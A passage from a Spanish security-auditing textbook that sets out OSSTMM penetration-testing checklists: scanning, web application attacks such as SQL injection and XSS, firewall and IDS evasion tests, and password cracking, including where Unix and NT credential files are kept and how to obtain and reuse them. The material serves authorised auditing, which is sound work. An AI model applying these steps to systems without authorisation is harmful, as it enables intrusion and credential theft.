puertos por encima del 1024 en todos los servidores de la red.
11. Usar escaneos TCP fragmentados en orden inverso para
enumerar puertos y servicios para el conjunto de puertos definidos
en el Apéndice B por defecto para todos los servidores de la red.
12. Usar escaneos UDP para enumerar puertos abiertos o
cerrados para los puertos UDP por defecto si UDP no está siendo
filtrado [Recomendación: primero comprobar el sistema de filtrado
para un subconjunto de puertos UDP]
Página 237 de 430

Verificación de Respuestas para Varios Protocolos
13. Verificar/examinar tráfico y protocolos de enrutamiento.

14. Verificar y examinar el uso de protocolos no estándar.
15. Verificar y examinar el uso de protocolos cifrados.
16. Verificar y examinar el uso de TCP e ICMP sobre IPV6.
Verificación de Respuestas a Nivel de Paquete
17. Identificar la predictibilidad de las secuencias TCP.

18. Identificar la predictibilidad de los números de secuencia TCP
ISN.
19. Identificar la predictibilidad de la Generación de Secuencia
IPID.
20. Identificar el up-time del sistema.
Identificación de Servicios
21. Relacionar cada puerto abierto con un servicio y protocolo.

22. Identificar el nivel de parcheado del sistema a partir de su up-
time.
23. Identificar la aplicación tras el servicio y su nivel de parcheado
empleando los banners o la identificación de huellas.
24. Verificar la aplicación y su versión en el sistema.
25. Localizar e identificar el remapeo de servicios o la redirección
de sistemas.
26. Identificar los componentes de los servicios en escucha.
27. Usar peticiones propias de Troyanos y servicios UDP en todos
los sistemas de la red.
Identificación de Sistemas
28. Examinar las respuestas de los sistemas para determinar el

tipo de sistema operativo y su nivel de parcheado.
29. Examinar las respuestas de las aplicaciones para determinar
su sistema operativo y su nivel de parcheado.
30. Verificar la predicción de secuencia TCP para todos los
servidores de la red.
31. Busque ofertas de trabajo donde obtener información sobre
los servidores y aplicaciones del objetivo.
32. Buscar en boletines técnicos y grupos de noticias información
sobre los servidores y las aplicaciones del objetivo.
33. Relacionar la información recopilada con las respuestas de los
sistemas para ajustar los resultados.
Página 238 de 430

4. Búsqueda de Información Competitiva
La Búsqueda de IC es la búsqueda de información útil a partir de la presencia

que se tiene en Internet y que puede ser tratada como información sobre el
negocio. A diferencia del robo de propiedad intelectual que se da en el espionaje
industrial o el hacking, la IC tiende a ser no invasiva y mucho más sutil. Es un
buen ejemplo de cómo la presencia en Internet se extiende mucho más allá de
los sistemas que se disponen en una DMZ.
Usando la IC en un test de intrusión les da un valor añadido a sus diferentes

componentes y puede ayudar para encontrar justificaciones a nivel de negocio
para implementar determinados servicios.
Información del Negocio
1. Realizar un mapa y medir la estructura de directorio de los servidores web.

2. Realizar un mapa y medir la estructura de directorio de los servidores FTP.
3. Examinar la base de datos WHOIS en busca de servicios relacionados con
los nombres de los servidores.
4. Determinar el coste de la infraestructura en Sistemas de Información a partir
de sus Sistemas Operativos, Aplicaciones y Hardware.
5. Determinar el coste de mantenimiento de la infraestructura a partir del salario
de la zona para profesionales de TI, ofertas de trabajo, cantidad de personal,
curriculums publicados y cargos.
6. Medir el entusiasmo (respuesta) de la organización basándose en grupos de
noticias, tableros web, y los sitios de respuesta de la industria.
7. Registrar el número de productos que se venden electrónicamente (para
descargar).
8. Registrar el número de productos encontrados en fuentes P2P, sitios de
software pirata, cracks disponibles para versiones específicas y documentación
tanto interna como de terceras partes sobre los productos.
9. Identificar socios del negocio.
10. Identificar los clientes a partir de organizaciones de los mismos sectores
industriales.
11. Verificar la claridad y facilidad de uso del proceso de compra de productos.
12. Verificar la claridad y facilidad de uso del proceso y política de devoluciones.
13. Verificar que todos contratos realizados a través de Internet desde la firma
digital a la pulsación del botón que implica la aceptación de las cláusulas por
parte del cliente final pueden ser repudiadas inmediatamente y durante un
período de 7 días.
Página 239 de 430

La revisión de privacidad se centra en cómo se gestiona, desde un punto de vista

ético y legal, el almacenamiento, transmisión y control de datos de información
privada perteneciente a empleados y clientes.
La utilización de estos datos supone una gran preocupación para muchas

personas y es por esto que la legislación está definiendo reglas específicas con
relación a la privacidad. Aunque muchas de estas leyes son locales, todas son
aplicables a Internet y por tanto afectan de forma internacional a todos los
auditores de seguridad.
Para estas pruebas es necesario entender la diferencia entre información privada

e información personal: por información privada entendemos aquella información
que generalmente sólo es conocida por la persona a la que pertenece y la
autoridad que ha recopilado dichos datos. Algunos ejemplos de información
privada podrían ser transcripciones de Universidad, cantidades de dinero
donadas a la Iglesia, nombres de exnovias o exnovios, y quizás un diario de la
infancia un tanto embarazoso. Por otro lado, información personal es aquella
información que describe una persona o su estilo de vida, como por ejemplo la
fecha de nacimiento, color de pelo, ojos, nombre de los miembros de su familia,
banco que utiliza, nombre de sus mascotas, preferencias sexuales, religión, o
color favorito.
Adicionalmente, la información de identificación personal es aquella información

que permite derivar la identidad de una persona por sí sola o en conjunto. Podría
ser un nombre de persona o un número de identificación.
Política
1. Identificar la política de privacidad pública

2. Identificar los formularios web
3. Identificar el tipo y la localización de la base de datos donde se almacenan
los datos recolectados
4. Identificar los datos recolectados por la organización
5. Identificar la localización de los datos almacenados
6. Identificar los tipos de cookies
7. Identificar el tiempo de expiración de las cookies
8. Identificar la información guardada en las cookies
9. Verificar los métodos de cifrado de las cookies
10. Identificar la claridad de la información relacionada con opt-out
11. Identificar la facilidad de usar opt-out
Página 240 de 430

12. Identificar los gifs de publicidad y bugs web en los servicios web y en los
correos electrónicos
13. Identificar la localización de los gifs de publicidad
14. Identificar los bugs de web recogidos y devueltos al servidor
Difamación y Falsa Divulgación
15. Identificar las personas, organizaciones e instituciones reales a las que

corresponden realmente las ficticias.
16. Identificar personas u organizaciones retratadas de forma negativa.
Apropiación
17. Identificar personas, organizaciones o materiales que por ellos mismos o por
similitud son utilizados comercialmente en sitios web o anuncios publicitarios.
Revelación de Datos Privados
18. Identificar información de empleados, organizaciones o materiales que

contienen información privada.
6. Obtención de Documentos
Este módulo es importante para la verificación de gran cantidad de la información

probada y pertenece a muchos de los niveles de lo que se considera seguridad
de la información. La cantidad de tiempo concedida a la búsqueda y extracción
de información depende del tamaño de la organización, el ámbito del proyecto y
el tiempo planificado para la auditoría. La dedicación de más tiempo no siempre
significa la obtención de más información, pero puede conducir a piezas claves
del rompecabezas de seguridad.
1. Examinar bases de datos de webs y caches buscando la organización objetivo

y personas clave.
2. Investigar personas claves vía páginas personales, resúmenes publicados,
afiliaciones organizacionales, información de directorios, datos de compañías, y
el registro electoral.
3. Recopilar direcciones de e-mail corporativas y personales de las personas
clave.
4. Buscar en bases de datos de trabajo conjuntos de perfiles tecnológicos
requeridos por la organización objetivo.
5. Buscar en grupos de noticias referencias y mensajes enviados desde dentro
de la organización y por personas claves de la organización.
6. Buscar documentos que contengan códigos ocultos o datos de revisión.
Página 241 de 430

7. Examinar redes P2P (Peer-to-Peer) con referencias o envíos desde dentro de

la organización y por personas claves de la organización.
7. Búsqueda y Verificación de Vulnerabilidades
La finalidad de este módulo es la identificación, comprensión y verificación de

debilidades, errores de configuración y vulnerabilidades en un servidor o en una
red. La investigación concerniente a la búsqueda de vulnerabilidades es
necesaria hasta prácticamente el momento de la entrega del informe. Esta
investigación incluye la búsqueda en bases de datos online y listas de correo
relativas a los sistemas y redes que se están auditando. No se debe limitar la
búsqueda a la web, también se debe considerar la utilización del IRC, grupos de
noticias, y sitios FTP underground.
La búsqueda de vulnerabilidades utilizando herramientas automáticas es una

forma eficiente de determinar agujeros de seguridad existentes y niveles de
parcheado de los sistemas. Aunque muchos escáneres automáticos están
actualmente tanto en el mercado como en el mundo underground, es importante
para los auditores identificar e incorporar en las pruebas que realizan los scripts
y exploits que existen actualmente en el mundo underground. No obstante, es
necesaria la verificación manual para eliminar falsos positivos, expandir el ámbito
de hacking y descubrir el flujo de datos de entrada y salida de la red. La búsqueda
manual de vulnerabilidades hace referencia a las personas que delante del
ordenador utilizan la creatividad, la experiencia y la ingenuidad para probar la
red objetivo.
1. Integrar en las pruebas realizadas los escáneres, herramientas de hacking y

exploits utilizados actualmente.
2. Medir la organización objetivo utilizando herramientas de escaneo habituales
actualmente.
3. Intentar determinar vulnerabilidades por tipo de aplicación y sistema.
4. Intentar ajustar vulnerabilidades a servicios.
5. Intentar determinar el tipo de aplicación y servicio por vulnerabilidad.
6. Realizar pruebas redundantes al menos con 2 escáneres automáticos de
vulnerabilidades.
7. Identificar todas las vulnerabilidades relativas a las aplicaciones.
8. Identificar todas las vulnerabilidades relativas a los sistemas operativos.
9. Identificar todas las vulnerabilidades de sistemas parecidos o semejantes que
podrían también afectar a los sistemas objetivo.
Página 242 de 430

10. Verificar todas las vulnerabilidades encontradas durante la fase de búsqueda

de exploits con el objetivo
de descartar falsos positivos y falsos negativos.
11. Verificar todos los positivos (Se debe tener en cuenta el contrato firmado con
la organización objetivo en el caso de estar intentando penetrar o si se puede
llegar a provocar una denegación de servicio).
8. Testeo de Aplicaciones de Internet
Un test de Aplicaciones de Internet emplea diferentes Técnicas de testeo de

Software para encontrar “fallos de seguridad” en aplicaciones cliente/servidor de
un sistema desde Internet. En este módulo, nos referimos a aplicaciones
cliente/servidor que sean desarrolladas por los administradores de sistema con
propósitos de la empresa y programadas con cualquier tecnología y lenguaje de
programación. Ej. Aplicaciones web para transacciones entre empresas es un
objetivo en este módulo. Tests como "Caja Negra" y/o "Caja Blanca" pueden ser
utilizados en este módulo.
Re-Ingeniería
1. Descomponer o Deconstruir los códigos binarios, si es posible.
2. Determinar las Especificaciones de Protocolo de la Aplicación Cliente/Servidor
3. Adivinar la lógica del programa de los mensajes de error/debug en las salidas
del programa y en el rendimiento y comportamiento del programa.
Autenticación
4. Buscar las posibles combinaciones de contraseñas por fuerza bruta en las
aplicaciones.
5. A ser posible, buscar credenciales de cuentas válidas por fuerza bruta.
6. Saltarse el sistema de autenticación con una validación cambiada.
7. Saltarse el sistema de autenticación reproduciendo información de la
autenticación
8. Determinar la lógica de la aplicación para mantener las sesiones de
autenticación – número (consecutivo) de intentos fallidos, intentos fuera de
tiempo, etc.
9. Determinar las limitaciones de control de acceso en las aplicaciones
permisos de acceso, duración de las sesiones, tiempo inactivo.
Administración de Sesiones
10. Determinar la Información de Administración de Sesiones – número de

sesiones concurrentes, Autenticaciones basadas en IP, Autenticación basada en
roles, Autenticación basada en Identidad, uso de Cookies, ID de sesión dentro
de las secuencias de codificación de la URL, ID de sesión en campos HTML
ocultos, etc.
Página 243 de 430

11. Adivinar la secuencia y formato de la ID de sesión.

12. Determinar si la ID de sesión está formada con información de direcciones
IP; mirar si la misma información de sesión puede ser recuperada y reutilizada
en otra máquina.
13. Determinar las limitaciones de mantenimiento de sesión - uso del ancho de
banda, limitaciones de bajadas/subidas de archivos, limitaciones en
transacciones, etc.
14. Reunir bastante información con URL's exactas, instrucciones exactas,
secuencias de acción / saltos de secuencia y/o omisiones de las páginas.
15. Reunir información sensible a partir de ataques Hombre-en-el-Medio.
16. Inyectar falsa información con técnicas de Hijacking.
17. Reproducir la información reunida para engañar a las aplicaciones.
Manipulación de la información de entrada.
18. Encontrar las limitaciones de las variables definidas y de los protocolos -

longitud de datos, tipo de datos, formato de la estructura. etc.
19. Usar cadenas largas de caracteres para encontrar vulnerabilidades de
desbordamientos de memoria en las aplicaciones.
20. Concatenar comandos en las cadenas de entrada de las aplicaciones.
21. Inyectar comandos SQL en las entradas de cadenas de caracteres de
aplicaciones web basadas en bases de datos.
22. Examinar vulnerabilidades "Cross-Site Scripting" en las aplicaciones web del
sistema.
23. Examinar accesos a directorios/ficheros no autorizados con directorios/rutas
transversales en las entradas de cadenas de caracteres de las aplicaciones.
24. Usar cadenas específicas de codificación URL y/o codificación Unicode para
saltarse los mecanismos de validación de las aplicaciones.
25. Ejecutar comandos remotos a través de "Server Side Include".
26. Manipular el estado de las cookies (sesión / persistent) para tirar o modificar
la lógica dentro de las aplicaciones web "server-side".
27. Manipular los campos variables (ocultos) en los formularios HTML para tirar
o modificar la lógica en las aplicaciones web "server inside".
28. Manipular las variables "Referrer", "Host", etc. del protocolo HTTP para tirar
o modificar la lógica en las aplicaciones web "server inside".
29. Usar información de entrada ilógica/ilegal para testear las rutinas de error de
la aplicación y encontrar mensajes de error/depuración que sean útiles.
30 Manipulación de la Información de salida
31. Recuperar información importante/comprometedora guardadas en las
cookies.
32. Recuperar información importante/comprometedora en la caché de la
aplicación cliente.
33. Recuperar información importante/comprometedora guardada en los objetos
con número de serie.
34. Recuperar información importante/comprometedora guardada en los
archivos temporales y objetos.
Página 244 de 430

Filtración de información
35. Buscar información utilizable en campos ocultos de variables en formularios

HTML y comentarios en los documentos HTML.
36. Examinar la información contenida en los banners de la aplicación,
instrucciones de uso, mensajes de bienvenida, mensajes de despedida,
mensajes de ayuda, mensajes de error/depuración, etc.
9. Enrutamiento
Las Protecciones de un Router son unas defensas que se encuentran a menudo

en una red donde se restringe el flujo del tráfico entre la red de la empresa e
Internet. Opera en una política de seguridad y usa ACL's (Access Control Lists o
Lista de Control de Acceso) que acepta o deniega paquetes. Este módulo está
diseñado para asegurar que solo aquello que debe ser expresamente permitido,
puede ser aceptado en la red; todo lo demás debe ser denegado. La protección
también debe estar diseñada para restringir el flujo de salida de ciertos tipos de
tráfico. Los Router están siendo cada vez más complejos y alguna/os tienen
propiedades desconocidas para el auditor y a veces para la organización
auditada. El papel del auditor es en parte determinar la función del router dentro
de la DMZ.
El Router y sus características
1. Verificar el tipo de router con información reunida de la obtención de

Inteligencia.
2. Verificar si el router está dando servicio de traducción de direcciones de red
(NAT).
3. Verificar las intrusiones con opciones TTL estratégicas en los paquetes
(Firewalking) hecho en el módulo de escaneo de puertos. Verificar la
configuración de las ACL's del router
4. Testear la ACL del router en contra de las políticas de seguridad y en contra
de la regla "Deny All".
5. Verificar si el router está filtrando el tráfico de la red local hacia afuera.
6. Verificar que el router esté haciendo detección de direcciones falsas.
7. Verificar las intrusiones desde un escaneo inverso en el módulo de escaneo
de puertos.
8. Testear las capacidades externas del router desde el interior.
9. Cuantificar la habilidad que tiene el router para manejar fragmentos de
paquetes muy pequeños.
10. Cuantificar la habilidad del router para manejar paquetes grandes.
11. Cuantificar la habilidad del router para manejar fragmentos coincidentes
como los usados en ataques del tipo TEARDROP.
Página 245 de 430

10. Testeo de Sistemas Confiados
El propósito de los testeos de sistemas confiados es afectar la presencia en

Internet planteándose como una entidad confiada en la red. El escenario de
testeo es a veces más teoría que práctica, y en realidad más que oscurecer la
frontera entre un Test de Vulnerabilidad y un Testeo de Cortafuegos / ACLS, es
dicha frontera.
1. Verificar las relaciones determinadas en la obtención de Inteligencia, Testeo

de Aplicaciones y Testeo de Servicios.
2. Testear las relaciones entre varios sistemas a través de provocación de
eventos "event triggering" o engaño de origen.
3. Verificar que los sistemas puedan ser engañados.
4. Verificar qué aplicaciones pueden ser engañados.
11. Testeo de Control de Acceso
El cortafuego controla el flujo del tráfico de la red corporativa, la DMZ, e Internet.

Opera en una política de seguridad y usa ACL's (Listas de Control de Acceso).
Este módulo está diseñado para segura que solo lo que debe estar
expresamente permitido puede ser aceptado dentro de la red, todo lo demás
debe ser denegado. De manera adicional, el auditor debe entender la
configuración del cortafuego y cartografía que se provee entre los servidores y
los servicios que hay detrás. Repasando los logs necesarios de los servidores
para verificar los tests desempeñados en presencia de Internet, especialmente
en casos donde los resultados de los tests no son inmediatamente evidentes
para el auditor. Algunos que son desconocidos son destinados para el analista,
quien no ha revisado los logs.
El Cortafuegos y sus características.
1. Verificar el tipo de router con información reunida de la Obtención de

Inteligencia.
2. Verificar si el router está dando servicio de traducción de direcciones de red
(NAT).
3. Verificar las intrusiones con opciones TTL estratégicas en los
paquetes(Firewalking) hecho en el módulo de escaneo de puertos.
Página 246 de 430

Verificación de la configuración de las ACL
4. Testear la ACL del cortafuego en contra de las políticas de seguridad y en

contra de la regla "Denegar Todo".
5. Verificar si el cortafuego está filtrando el tráfico de la red local hacia afuera.
6. Verificar que el cortafuego esté haciendo detección de direcciones orígenes
falsas.
7. Verificar las intrusiones desde un escaneo inverso en el módulo de Escaneo
de Puertos.
8. Testear las capacidades externas del cortafuego desde el interior.
9. Determinar el éxito de los métodos de identificación de cortafuegos a través
de los distintos paquetes de respuesta.
10. Verificar la posibilidad de escanear usando técnicas ocultas SYN para
enumeración a través del cortafuego.
11. Verificar la posibilidad de escanear para enumeración usando puertos
orígenes específicos.
12. Cuantificar la habilidad del cortafuego para manejar fragmentos
superpuestos como los usados en ataques del tipo TEARDROP.
13. Cuantificar la habilidad del cortafuego para manejar fragmentos de paquetes
diminutos.
14. Testear la habilidad del cortafuego para manejar series de paquetes SYN
entrantes (inundación)
15. Testear la respuesta del cortafuego a paquetes con la bandera RST activada.
16. Testear el mantenimiento del cortafuego con paquetes UDP estándar.
17. Verificar la habilidad del cortafuego para protegerse de varias técnicas
usando paquetes ACK.
usando paquetes FIN.
usando paquetes NULL.
midiendo el tamaño de ventana en el paquete (WIN).
usando todas las banderas activadas (XMAS).
usando IPIDs.
usando protocolos encapsulados.
24. Cuantificar la robustez del cortafuego y su susceptibilidad a los ataques de
denegación de servicios con conexiones TCP ininterrumpidas.
denegación de servicios con conexiones TCP temporales.
denegación de servicios con datagramas UDP.
27. Cuantificar la respuesta del cortafuego a todos los tipos de paquetes ICMP.
Página 247 de 430

Revisión de Registros del Cortafuegos
28. Testear el proceso de registro del cortafuego.

29. Verificar escaneos TCP y UDP en los registros del servidor.
30. Verificar escaneos de vulnerabilidades automatizados.
31. Verificar deficiencias de registros de servicios.
12. Testeo de Sistema de Detección de Intrusos (IDS / IPS)
Este test está enfocado al rendimiento y susceptibilidad de un IDS. La mayor

parte de este test no puede ser llevada a cabo adecuadamente sin acceder a los
registros del IDS. Algunos de estos tests están relacionados con ataques de
ancho de banda, saltos distantes, y latencia que afectan al resultado de estos
tests.
Repasar los registros del servidor es necesario para verificar que los tests
realizados en presencia en Internet, especialmente en los casos donde el
resultado de éstos no es inmediatamente evidente para el auditor.
Algunos que son desconocidos son destinados para el analista, quien no ha

revisado los registros y alertas.
El IDS y sus características
1. Verificar el tipo de IDS con información recogida de la Inteligencia de

Información
2. Determinar la esfera de protección o influencia.
3. Testear los estados de alarma del IDS.
4. Testear los parámetros de sensibilidad de las firmas pasado 1 minuto, 5
minutos, 60 minutos, y 24 horas.
Página 248 de 430

Testeo de configuración
5. Testear la configuración del IDS para reacciones múltiples, ataques variados

(inundación).
6. Testear la configuración del IDS para reacciones como URL’s manipuladas y
rutinas de explotación.
7. Testear la configuración del IDS para reacciones ante cambios de velocidad
al enviar paquetes.
8. Testear la configuración del IDS para reacciones ante cambios aleatorios de
velocidad durante un ataque.
9. Testear la configuración del IDS para reacciones ante cambios aleatorios de
origen durante un ataque.
10. Testear la configuración del IDS para reacciones ante cambios de puerto de
origen.
11. Testear en el IDS, la habilidad de manejar paquetes fragmentados.
12. Testear en el IDS, la habilidad de manejar métodos de ataques de sistemas
13. Testear en el IDS, la habilidad de manejar métodos de ataques de sistemas
específicos.
14. Testear los efectos y reacciones del IDS. Una dirección IP contra varias
direcciones.
15. Encontrar alertas de IDS sobre escaneos de vulnerabilidades.
16. Encontrar alertas de IDS sobre descifrado de contraseñas.
17. Encontrar alertas de IDS de testeos de sistemas confiados.
13. Testeo de Medidas de Contingencia
Las medidas de contingencia dictan el manejo de la permeabilidad a los

programas maliciosos y emergencias.
La identificación de los mecanismos de seguridad y las políticas de respuesta

que necesiten ser examinados. Debe ser necesario responder primero a una
nueva cuenta de correo electrónico de pruebas o al sistema de escritorio donde
el administrador pueda monitorizar.
1. Medir el mínimo de recursos necesarios que se necesitan en el subsistema

para realizar las tareas.
2. Verificar los recursos disponibles a este subsistema que necesiten realizar
estas tareas, y que recursos están protegidos desde este subsistema.
3. Verificar la detección de medidas presentes para la detección de intentos de
acceso a los recursos protegidos.
4. Verificar recursos innecesarios.
5. Verificar las propiedades del sistema de contingencia.
Página 249 de 430

6. Verificar la detección de medidas presentes para la detección de accesos 'no

comunes' a los recursos 'necesarios'.
7. Medidas de respuestas y procesos
8. Medidas de configuración del sistema.
14. Descifrado de Contraseñas
Descifrar las contraseñas es el proceso de validar la robustez de una contraseña

a través del uso de herramientas de recuperación de contraseñas
automatizados, que dejan al descubierto la aplicación de algoritmos
criptográficos débiles, implementaciones incorrectas de algoritmos
criptográficos, o contraseñas débiles debido a factores humanos. Este módulo
no debe ser confundido con el de recuperación de contraseñas vía escucha de
texto por canales libres, es más sencillo de entender que un trastorno del
sistema de seguridad, pero solo que tiene mecanismos de autenticación sin
cifrar, nada de debilidades en contraseñas [Nota: Este módulo puede incluir
técnicas para averiguar manualmente las contraseñas, que explote los usuarios
y contraseñas por defecto en aplicaciones o sistemas operativos (p.ej. Usuario:
System Contraseña: Test) o fácilmente predecible por parte del error de un
usuario (p.ej. Usuario: joe Contraseña: joe).
Este puede ser un sistema para obtener acceso a un sistema inicialmente, quizá
sea siempre con acceso de administrador o root, pero solo con fines educativos.
Más allá de la predictibilidad manual de las contraseñas, a través de
combinaciones por defecto o simples, se puede hacer fuerza bruta de
contraseñas para aplicaciones como Telnet, usando scripts o programas
personalizados, al menos no es viable por valores de espera agotados, siempre
con aplicaciones de fuerza bruta con multiconexión (simulando el multihilo). Una
vez entrado con privilegios de root o administrador en un sistema, el descifrado
de contraseñas consiste en obtener acceso a sistemas o aplicaciones
adicionales (gracias a los usuarios cuyas contraseñas sean coincidentes en
múltiples sistemas) y es una técnica válida que puede ser usada por influencia
del sistema a través de un test de seguridad.
Descifrados de contraseñas minuciosos pueden ser realizados como un ejercicio

de simple y debe ser subrayada la necesidad de algoritmos criptográficos fuertes
para contraseñas de almacenamiento de sistemas de llave, también subrayar la
necesidad del refuerzo de una política estricta de contraseñas de usuario,
generación automática, o módulos del tipo PAM.
Página 250 de 430

1. Obtener el fichero de contraseñas desde el sistema que guarda nombres de

usuario y contraseña
• Para sistemas Unix, ha de estar en /etc/passwd o/y /etc/shadow.
• Para sistemas Unix que tienen que realizar autenticaciones SMB, puede
encontrar las contraseñas de NT en /etc/smbpasswd.
• Para sistemas NT, ha de estar en /winnt/repair/Sam._ (u otra, más difícil
de obtener variantes)
2. Arranque un ataque automatizado de diccionario al fichero de contraseñas.
3. Arranque un ataque de fuerza bruta al fichero de contraseñas.
4. Usar contraseñas obtenidas o sus variaciones para acceder a sistemas o
aplicaciones adicionales.
5. Arranque Programas automatizados de descifrado en ficheros cifrados que
haya encontrado (como documentos PDF o Word) como intento de recopilar más
datos y subrayar la necesidad de un cifrado del sistema o de documentos más
fuerte.
6. Verificar la edad de las contraseñas.
15. Testeo de Denegación de Servicios
La Denegación de Servicios (DoS) es una situación donde una circunstancia,

sea intencionada o accidental, previene el sistema de tal funcionalidad como sea
destinada. En ciertos casos, el sistema debe funcionar exactamente como se
diseñó, nunca fue destinado para manejar la carga, alcance, o parámetros que
abusen de ellos.
Es muy importante que los tests de DoS reciban ayuda adicional de la

organización y sea monitorizada a nivel privado. Inundación y ataques DoS
Distribuidos (DDoS) están específicamente no comprobados y prohibidos por
este manual. Los ataques de inundación y los ataques DDoS SIEMPRE
causarán ciertos problemas y a veces no solamente al objetivo sino también a
los enrutadores y sistemas entre el auditor y el objetivo.
1. Verificar que las cuentas administrativas y los archivos y recursos del sistema
están securizados apropiadamente y todos los accesos están concedidos con
"Mínimo Privilegio".
2. Comprobar las restricciones de sistemas expuestas a redes sin confianza.
3. Verificar que los puntos de referencian están establecidos a partir de una
actividad normal del sistema.
4. Verificar que los procedimientos están en un lugar que responde a una
actividad irregular.
5. Verificar la respuesta a una información negativa SIMULADA (ataques
propaganda)
6. Testear cargas de red y de servidor excesivas.
Página 251 de 430

Evaluación de Políticas de Seguridad

La política de seguridad resaltada aquí es el documento escrito legible que
contiene las políticas que delinean la reducción de riesgos en una organización
con la utilización de tipos específicos de tecnologías. Esta política de seguridad
puede ser también una forma legible de Listas de Controles de Acceso. Existen
dos funciones a llevar a cabo: primero, el testeo de lo escrito contra el estado
actual de las conexiones de la presencia en Internet y de otras conexiones no
relacionadas a Internet; y segundo, asegurar que la política este incluida dentro
de las justificaciones de negocio de la organización, y de los estatutos legales
locales, federales e internacionales, en especial en referencia a los derechos y
responsabilidades tanto del empleador como de los empleados y la ética de
privacidad personal.
Estas tareas exigen que el testeo y verificación de vulnerabilidades sea hecho

en su totalidad y que todas las otras revisiones técnicas hayan sido llevadas a
cabo. A menos que esto sea realizado, no es posible comparar los resultados
con los lineamientos a lograr especificados por las políticas de seguridad,
traducidos en medidas de protección del entorno operativo.
Aquí es extremadamente importante la implicación de las siguientes áreas sin

excepción de ninguna clase y son las siguientes áreas Dirección General,
Dirección Legal y Recursos Humanos. Además de todas las áreas relacionadas
con las tecnologías que dan soporte a los procesos de negocio.
1. Comparar la política de seguridad contra el estado actual de la presencia en

Internet.
2. Aprobación de la Gerencia – Busque cualquier signo que revele que la política

está aprobada por la gerencia. Sin esta aprobación, la política no tiene valor
porque el personal no tiene la obligación de seguir las reglas establecidas en la
política. Desde un punto de vista formal, UD puede detener las investigaciones
de la política de seguridad si ésta no es aprobada por la gerencia. Sin embargo,
el testeo debería continuar para determinar cuán efectivas son las medidas de
seguridad en el estado actual de la presencia en Internet.
3. Cerciórese de que la documentación está adecuadamente almacenada, ya

sea electrónicamente o en otros medios, y que la política ha sido leída y aceptada
por el personal incluso antes de que ellos obtengan acceso a los sistemas
informáticos.
4. Identifique los procedimientos de manejo de incidentes, para asegurarse de

que las brechas de seguridad son manejadas por las personas adecuadas y que
son reportadas de manera apropiada.
5. Conexiones entrantes – Verifique los riesgos mencionados que tienen relación

directa con las conexiones entrantes de Internet (Internet -> DMZ, Internet -> red
interna), y las medidas que son necesarias implementar para reducir o eliminar
dichos riesgos. Estos riesgos pueden ser permitidos en conexiones entrantes,
típicamente SMTP, POP3, HTTP, HTTPS, FTP, VPNs y las correspondientes
medidas como esquemas de autenticación, encriptación y Listas de Control de
Página 252 de 430
Acceso. Específicamente, las reglas que niegan el acceso con estado a la red
interna generalmente no son alcanzadas por la implementación.
6. Conexiones salientes – Las conexiones salientes pueden producirse entre la

red interna y DMZ, así como también entre la red interna e Internet. Busque
cualquier regla de conexiones salientes que no se corresponda con la
implementación. Las conexiones salientes no pueden ser usadas para introducir
código malicioso o revelar las especificaciones de la red interna.
7. Medidas de seguridad – Las reglas que exigen la implementación de medidas

de seguridad, deben ser cumplidas. Aquellas pueden hacer uso de AVS, IDS,
cortafuegos, DMZs, routers y las configuraciones/implementaciones adecuadas
de acuerdo con los riesgos a contrarrestar.
8. Comprobar la política de seguridad contra el estado actual de las conexiones

no relacionadas a Internet.
9. Módems – Debe existir una regla que indique que el uso de módems que no
están especialmente asegurados está prohibido o al menos sólo permitido si los
módems están desconectados cuando no se encuentran en uso, y configurados
para no permitir el marcado. Verifique tanto si la regla correspondiente existe
como si la implementación sigue los requisitos.
10. Máquinas de Fax – Debe existir una regla que indique que el uso de las
máquinas de fax que pudiera permitir acceso desde el exterior a la memoria de
las máquinas está prohibido o al menos sólo permitido si las máquinas son
apagadas cuando no se las utiliza. Verifique tanto si la regla correspondiente
existe como si la implementación sigue los requisitos.
11. PBX – Debe existir una regla que indique que la administración remota del
sistema PBX está prohibida o al menos sólo permitida si las máquinas son
apagadas cuando no se las utiliza. Verifique tanto si la regla correspondiente
existe como si la implementación sigue los requisitos.
12. Verifique que la política de seguridad establezca las medidas de

contención y los tests de ingeniería social basados en el uso indebido de Internet
por parte de los empleados, de acuerdo con la justificación de negocios y las
mejores prácticas de seguridad.
Aunque los principios metodológicos siguen siendo válidos este documento data
del año 2003 y en este lapso de tiempo catorce años, por ejemplo, la tecnología
ha evolucionado haciendo desaparecer por ejemplo la telefonía fija clásica
siendo sustituida por telefonía vía ip, igual ocurre con las máquinas de Fax, y
que decir de los módems que salvo en algún ámbito rural extremadamente
aislado, han dejado de usarse, siendo sustituido por los routers. Por tanto, vamos
a suprimir todas las referencias relativas a estas tecnologías obsoletas en el
primer mundo. En cuanto a las tecnologías inalámbricas han experimentado una
evolución brutal y son ahora mismo de uso cotidiano. Desde este punto
consideraremos el uso de la versión 3 de OSSTMM ya publicada actualizado
capitulo ya vistos, pero que dadas sus especiales características merecen ser
Página 253 de 430

retomados desde el actual enfoque que desde OSSTMM han recibido en esta
nueva versión.
En 2010 se publicó la nueva versión de OSSTM 3 y es una reformulación

completa de la metodología, debido a los cambios organizacionales, legales y
tecnológicos que la sociedad ha experimentado tras 7 años tras la primera
aparición de esta metodología. OSSTM es una metodología dirigida básicamente
hacia lo que se conoce como Seguridad Operacional, que no es la Seguridad
pasiva tradicional donde el Activo está protegido por una serie de salvaguardias
que actúan cuando una amenaza se materializa y provoca un impacto sobre el
Activo, sea tangible o intangible, aquí la idea principal es separar el Activo, y sus
salvaguardas, así como la propiedad y responsabilidad sobre el mismo.
Los elementos que contempla OSSMT, son los siguientes que describen en la
siguiente tabla.
Termino Definición
La falta de precisión de las separaciones y los controles
Superficie Ataque
funcionales que existen para este vector
Un vector es creado con el fin de acercarse a los ensayos
de seguridad dentro ámbito complejo en forma organizada.
Se basa en el algoritmo de divide y vencerás, paradigma
de diseño que consiste en descomponer un problema
Vector de Ataque
recursivamente en dos o más sub problemas del mismo
tipo, o varios que tenga una relación, que los vincule, hasta
que éstos lleguen a ser lo suficientemente sencillos, como
para ser resueltas directamente.
Son medidas que no evitan el daño, pero amortiguan sus
efectos, ejemplo de esto son los seguros, en un caso de
incendio no pagan la mercancía perdida por efecto del
Controles
fuego, pero si una parte dada la imposibilidad de obtener el
inventario de la mercancía no recuperable por el efecto del
fuego.
Las limitaciones son cualquier clase de limite y se define
como el limite necesario para provocar una acción
Limitaciones disuasoria, en el atacante, al requerir mayores
capacidades de las disponible en el momento del ataque
por parte de este último.
Representan un conjunto de acciones destinadas a permitir
sólo por los medios aceptados y admitidos según las leyes
Operaciones un tipo de operación a realizar como por ejemplo compra o
venta de bienes, el acceso a una tienda por una
determinada puerta.
